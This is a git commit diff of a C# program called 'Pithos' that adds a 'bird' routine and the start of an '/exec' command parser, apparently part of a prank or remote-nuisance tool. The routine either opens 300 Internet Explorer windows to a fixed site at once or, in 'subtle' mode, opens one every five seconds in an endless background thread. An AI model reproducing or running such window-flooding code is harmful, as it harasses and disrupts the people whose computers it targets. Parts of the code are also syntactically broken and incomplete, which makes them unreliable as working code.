added bird function (currently untested) to program, and added some basic decoding, no calls yet though
This commit is contained in:
parent
c02183c15d
commit
a426823e00
1 changed files with 22 additions and 6 deletions
|
@ -2,20 +2,36 @@
|
|||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Threading;
|
||||
using System.IO;
|
||||
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
namespace Pithos
|
||||
{
|
||||
class pithosPrograms
|
||||
{
|
||||
private static volatile bool DIE = false;
|
||||
private static string tempPath = Path.GetTempPath();
|
||||
private static bool isSubtle(string[] input) { return (input[0].Substring(0, 1) == "-" && input[0].ToLower().Contains('s')); }
|
||||
|
||||
public static void decodeInput(string text)
|
||||
{
|
||||
text.Replace("/exec ", )
|
||||
}
|
||||
private static void CD(bool subtle)
|
||||
{
|
||||
string[] input = text.Replace("/exec ", "").Split(' ');
|
||||
bool subtle = isSubtle(input);
|
||||
string execution = input[1];
|
||||
|
||||
}
|
||||
|
||||
private static void theBird(bool subtle) {
|
||||
if (subtle) {
|
||||
Thread thr = new Thread(new ThreadStart(theBirdSubtle));
|
||||
thr.Start();
|
||||
Program.MW.display("Bird Thread Started.", Color.Orange);
|
||||
} else {
|
||||
Program.MW.display("Generating Windows...", Color.ForestGreen);
|
||||
for (int i = 0; i < 300; i++) { Process.Start("\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" www.aboutthebird.com"); }
|
||||
}
|
||||
}
|
||||
private static void theBirdSubtle() { while (!DIE) { Process.Start("\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" www.aboutthebird.com"); Thread.Sleep(5000); } }
|
||||
}
|
||||
}
|
||||
|
|
Reference in a new issue